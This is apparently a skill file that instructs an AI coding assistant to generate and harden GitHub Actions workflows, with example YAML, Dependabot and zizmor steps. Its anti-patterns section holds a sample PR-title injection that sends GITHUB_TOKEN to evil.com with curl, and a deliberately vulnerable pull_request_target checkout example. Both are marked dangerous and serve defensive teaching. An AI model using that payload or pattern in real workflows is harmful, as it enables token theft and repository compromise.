github-actions-hardened

name

github-actions-hardened

description

Generate production-hardened GitHub Actions CI/CD workflows enforcing least-privilege permissions, concurrency groups, timeout guards, dependency caching, and latest major version action tags. Always co-generates a .github/dependabot.yml. Also use this skill to HARDEN EXISTING workflows using zizmor — applies persist-credentials, template injection fixes, permissions, and optional SHA pinning automatically. Use this skill whenever the user asks about CI, CD, pipelines, GitHub Actions, YAML workflows, automated testing, deployment, releases, security audits, SOC 2, compliance, zizmor, workflow hardening, or "fixing" workflow security — even if they don't say "hardened" or "secure". Always prefer this skill over github-actions-templates for any workflow that touches production, uses third-party actions, or needs to pass a code review. Trigger for any GitHub Actions workflow request, whether creating new or hardening existing workflows.

GitHub Actions Hardened Workflows

You are acting as a Staff DevOps Engineer. Every workflow you generate must enforce all five hardening principles below — no exceptions, no shortcuts.

Five Hardening Principles

These aren't arbitrary rules — each addresses a real class of incident.

1. Job-Level Least-Privilege Permissions

GitHub Actions grants the GITHUB_TOKEN broad permissions by default. If a step in your workflow is compromised (e.g., a malicious npm postinstall script), it can use that token to push code, create releases, or exfiltrate secrets.

Set permissions explicitly at the job level (not the workflow level) so that each job gets only what it needs:

jobs:
  test:
    permissions:
      contents: read       # checkout

Common permission scopes:

• contents: read — checkout code
• contents: write — create releases, push tags
• packages: write — push to GHCR
• id-token: write — OIDC token for cloud auth or SLSA provenance
• pull-requests: write — post PR comments
• checks: write — post check run results
• security-events: write — upload SARIF to Security tab

Never use permissions: write-all. Never omit permissions entirely on a job that uses GITHUB_TOKEN.

As defense-in-depth, also set permissions: {} at the workflow level (above jobs:). Any job added later without its own permissions block then inherits zero access rather than GitHub's broad defaults:

permissions: {}   # workflow level: deny all by default

jobs:
  test:
    permissions:
      contents: read   # each job explicitly grants only what it needs

2. Latest Major Version Action Tags

Always pin actions to their latest major version tag (e.g., @v4). Never use @latest, @main, or @master — these are moving targets that can introduce breaking changes or security regressions without warning.

# Too loose — can break without warning
- uses: actions/checkout@latest
- uses: actions/checkout@main

# Correct — stable within the major version contract
- uses: actions/checkout@v4
- uses: actions/setup-node@v4

Before writing any workflow, look up the current latest major version for each action you plan to use:

• With web/search access: search github.com/<owner>/<repo>/releases for the latest tag
• With gh CLI: gh api repos/<owner>/<repo>/releases/latest --jq .tag_name
• Without either: use the most recent major version you know confidently — do NOT guess minor/patch numbers. If uncertain, note it explicitly so the user can verify.

Dependabot (see below) will keep these tags current automatically, ensuring you receive security patches within the major version without any manual effort.

3. Concurrency Groups

Without concurrency controls, every push to a PR branch queues a new run while the previous one is still in progress. The old run produces stale results, wastes runner minutes, and can cause race conditions in deployments.

Add this to every workflow:

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}

The condition github.ref != 'refs/heads/main' is important: cancel redundant runs on PR branches, but never cancel a run that is already deploying to production.

4. Timeout Guards

GitHub's default job timeout is 360 minutes (6 hours). A test suite that hangs on network I/O, a Docker build stuck waiting for a layer, or a deployment waiting for a lock will consume 6 hours of runner minutes per occurrence — and on private repos, this directly costs money.

Always set timeout-minutes on every job:

jobs:
  test:
    timeout-minutes: 15    # fail fast if tests hang
  build:
    timeout-minutes: 30    # Docker builds may be slow
  deploy:
    timeout-minutes: 20    # include time for rollout checks

Choose values that are 2–3× your typical run time, not the absolute maximum.

5. Native Dependency Caching

Re-downloading all dependencies on every run is the single largest source of avoidable latency in most CI pipelines. Use the cache parameter built into setup actions when available:

- uses: actions/setup-node@v4
  with:
    node-version: '20'
    cache: 'npm'          # or 'yarn' or 'pnpm'

For ecosystems without built-in cache support, use actions/cache with a meaningful key.

---

Supplementary Best Practices

Path filtering — Avoid triggering workflows when irrelevant files change. See references/path-filtering.md for patterns including monorepo per-package filtering.

---

Hardened Workflow Patterns

Pattern A: CI Test Workflow (Node.js)

# .github/workflows/ci.yml
name: CI

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}

jobs:
  test:
    name: Test (Node ${{ matrix.node-version }})
    runs-on: ubuntu-latest
    timeout-minutes: 15

    permissions:
      contents: read

    strategy:
      fail-fast: false
      matrix:
        node-version: ['20', '22']

    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: Set up Node.js ${{ matrix.node-version }}
        uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node-version }}
          cache: 'npm'

      - name: Install dependencies
        run: npm ci

      - name: Lint
        run: npm run lint

      - name: Test
        run: npm test -- --coverage

      - name: Upload coverage
        if: matrix.node-version == '20'
        uses: codecov/codecov-action@v5
        with:
          fail_ci_if_error: true

For pnpm: change cache: 'npm' to cache: 'pnpm' and add pnpm/action-setup@v4 before setup-node with corepack enable. For yarn: change cache: 'npm' to cache: 'yarn'.

---

Pattern B: Docker Build and Push to GHCR

# .github/workflows/docker.yml
name: Docker Build and Push

on:
  push:
    branches: [main]
    tags: ['v*']
  pull_request:
    branches: [main]

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}

env:
  REGISTRY: ghcr.io
  IMAGE_NAME: ${{ github.repository }}

jobs:
  build:
    name: Build and Push
    runs-on: ubuntu-latest
    timeout-minutes: 30

    permissions:
      contents: read
      packages: write

    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Log in to GHCR
        if: github.event_name != 'pull_request'
        uses: docker/login-action@v3
        with:
          registry: ${{ env.REGISTRY }}
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Extract metadata
        id: meta
        uses: docker/metadata-action@v5
        with:
          images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
          tags: |
            type=ref,event=branch
            type=ref,event=pr
            type=semver,pattern={{version}}
            type=semver,pattern={{major}}.{{minor}}
            type=sha,prefix=sha-

      - name: Build and push
        uses: docker/build-push-action@v6
        with:
          context: .
          push: ${{ github.event_name != 'pull_request' }}
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
          cache-from: type=gha
          cache-to: type=gha,mode=max

---

Pattern C: Tagged Release

# .github/workflows/release.yml
name: Release

on:
  push:
    tags: ['v*.*.*']

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: false   # Never cancel an in-flight release

jobs:
  release:
    name: Create Release
    runs-on: ubuntu-latest
    timeout-minutes: 20

    permissions:
      contents: write     # create GitHub Release

    steps:
      - name: Checkout
        uses: actions/checkout@v4
        with:
          fetch-depth: 0    # needed for changelog generation

      - name: Build
        run: |
          # Replace with your actual build command
          npm ci && npm run build

      - name: Create GitHub Release
        uses: softprops/action-gh-release@v2
        with:
          generate_release_notes: true
          files: dist/**

---

Pattern D: Staged Deployment with GitHub Environments

Deploy to staging automatically, then require human approval before production. GitHub Environments provide required-reviewer gates, environment-scoped secrets, and a deployment audit log — all configured in repository settings, no extra tooling required.

# .github/workflows/deploy.yml
name: Deploy

on:
  push:
    branches: [main]

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: false   # Never cancel an in-flight deployment

jobs:
  deploy-staging:
    name: Deploy to Staging
    runs-on: ubuntu-latest
    timeout-minutes: 15
    environment: staging          # links to the "staging" Environment in Settings

    permissions:
      id-token: write             # OIDC token for keyless cloud auth
      contents: read

    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: Configure AWS credentials (OIDC)
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: ${{ vars.AWS_DEPLOY_ROLE_ARN }}
          aws-region: us-east-1

      - name: Deploy to staging
        run: ./scripts/deploy.sh staging

  deploy-production:
    name: Deploy to Production
    runs-on: ubuntu-latest
    timeout-minutes: 20
    needs: deploy-staging
    environment: production        # add required reviewers here in Settings

    permissions:
      id-token: write
      contents: read

    steps:
      - name: Checkout
        uses: actions/checkout@v4

      - name: Configure AWS credentials (OIDC)
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: ${{ vars.AWS_DEPLOY_ROLE_ARN }}
          aws-region: us-east-1

      - name: Deploy to production
        run: ./scripts/deploy.sh production

Setup: In Settings → Environments, create staging and production. Add required reviewers to production — GitHub pauses the deploy-production job and waits for approval before it runs.

OIDC setup (preferred over static secrets): see references/security-practices.md. Swap aws-actions/configure-aws-credentials@v4 for azure/login@v2 or google-github-actions/auth@v2 for Azure or GCP.

---

Dependabot Configuration

Always co-generate this file alongside any workflow you create. Dependabot will automatically open PRs to update action versions when new major/minor/patch releases ship.

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
      day: "monday"
    # Group all action updates into a single PR to reduce noise
    groups:
      github-actions:
        patterns:
          - "*"
    commit-message:
      prefix: "chore(ci)"
    labels:
      - "dependencies"
      - "ci"

For extended variants (with reviewers, ignore patterns, multiple ecosystems), see references/dependabot-config.md.

---

Ecosystem Adaptation

Adapt Pattern A's Node.js CI to other ecosystems:

Ecosystem	Setup Action	Cache Approach	Install	Test
Python	actions/setup-python@v5	cache: 'pip'	pip install -r requirements.txt	pytest
Go	actions/setup-go@v5	cache: true (built-in)	implicit	go test ./...
Rust	dtolnay/rust-toolchain@stable	actions/cache@v4 on ~/.cargo + ./target	implicit	cargo test
Java/Maven	actions/setup-java@v4	cache: 'maven'	mvn -B install -DskipTests	mvn test
Java/Gradle	actions/setup-java@v4	cache: 'gradle'	./gradlew dependencies	./gradlew test

---

Common Anti-Patterns

permissions: write-all — Grants every possible scope. A compromised step could push malicious commits or delete releases. Always enumerate only what each job needs.

uses: action/foo@latest or @main — Moving targets that can silently introduce breaking changes or security regressions. Always pin to a major version tag.

No concurrency block — Queues redundant runs and produces stale status checks on PRs.

No timeout-minutes — Allows a hung job to consume 6 hours of runner capacity per occurrence.

Separate actions/cache step when the setup action has a cache: parameter — Redundant and error-prone. Use the built-in parameter where available.

Script injection via direct ${{ }} interpolation in run: blocks — User-controlled values injected directly into shell commands allow an attacker to execute arbitrary code. Always pass untrusted input through environment variables.

Contexts that are attacker-controllable and must never be interpolated directly into run::

• github.event.issue.title / .body
• github.event.pull_request.title / .body
• github.event.comment.body
• github.event.review.body
• github.head_ref (PR branch name — can be set by the PR author)

# DANGEROUS — attacker can set PR title to: "; curl https://evil.com?t=$GITHUB_TOKEN; echo "
- run: echo "PR title: ${{ github.event.pull_request.title }}"

# SAFE — shell treats the variable as data, not code
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR title: $PR_TITLE"

workflow_dispatch inputs interpolated directly in run: blocks — Manual workflow inputs are user-supplied strings with the same injection risk. Always route them through environment variables.

# DANGEROUS
- run: echo "Deploying to ${{ inputs.environment }}"

# SAFE
- env:
    DEPLOY_ENV: ${{ inputs.environment }}
  run: echo "Deploying to $DEPLOY_ENV"

pull_request_target with code checkout — pull_request_target runs with full repository secrets even for PRs from forks. If the workflow checks out the PR's head commit and executes it, a contributor to any fork gains code execution with your GITHUB_TOKEN.

# DANGEROUS — runs attacker-controlled code with write-scoped GITHUB_TOKEN
on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # ← attacker-controlled code
      - run: npm test   # executes attacker's code with repo write access

# SAFER — act only on PR metadata; never run PR code
on: pull_request_target
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - uses: actions/labeler@v5   # pinned action; does not checkout or run PR code

Only use pull_request_target when you genuinely need write permissions triggered by a fork PR (labels, comments, status checks). Never combine it with a checkout of github.event.pull_request.head.sha followed by a run: step. To run CI on fork PRs with write access, use the two-workflow pattern: a read-only pull_request workflow that uploads artifacts, then a workflow_run workflow that downloads them.

For deployment workflows using cloud credentials, see references/security-practices.md for OIDC setup (preferred over long-lived secrets).

---

Hardening Existing Workflows with zizmor

When a user has existing workflows and wants to apply security best practices, use zizmor — it handles most fixes automatically with proper formatting preservation.

See references/zizmor-hardening.md for the complete reference. Here's the essential workflow:

Step 1: Create zizmor config

# zizmor.yml (repo root)
rules:
  unpinned-uses:
    config:
      policies:
        '*': ref-pin    # or 'hash-pin' for SHA requirement

Step 2: Run zizmor autofix

# Without SHA pinning (like Galaxy's approach)
zizmor --fix=all .github/workflows/

# With SHA pinning (maximum security)
zizmor --fix=all --gh-token=$(gh auth token) .github/workflows/

This automatically applies: persist-credentials: false, template injection fixes (moves dangerous expressions to descriptively-named env vars), and optionally SHA pins.

Step 3: Add permissions: {} manually

zizmor cannot autofix this. Add permissions: {} before the jobs: block in each workflow that doesn't have a top-level permissions: declaration.

Step 4: Add supporting files

• .github/workflows/zizmor.yml — CI workflow for ongoing security scanning
• .github/dependabot.yml — Weekly GitHub Actions dependency updates
• zizmor.yml — Config file (from step 1)

Step 5: Verify

zizmor .github/workflows/
# Should report: "No findings to report. Good job!"

Key Decision: SHA Pinning Policy

Policy	Pros	Cons	When to use
ref-pin (tags OK)	Simple, readable, Dependabot keeps current	Tags can be moved (supply chain risk)	Most repos, internal projects
hash-pin (SHA required)	Immutable, maximum security	Less readable, needs --gh-token	High-security, compliance, public infra

Dependabot handles keeping either approach up to date.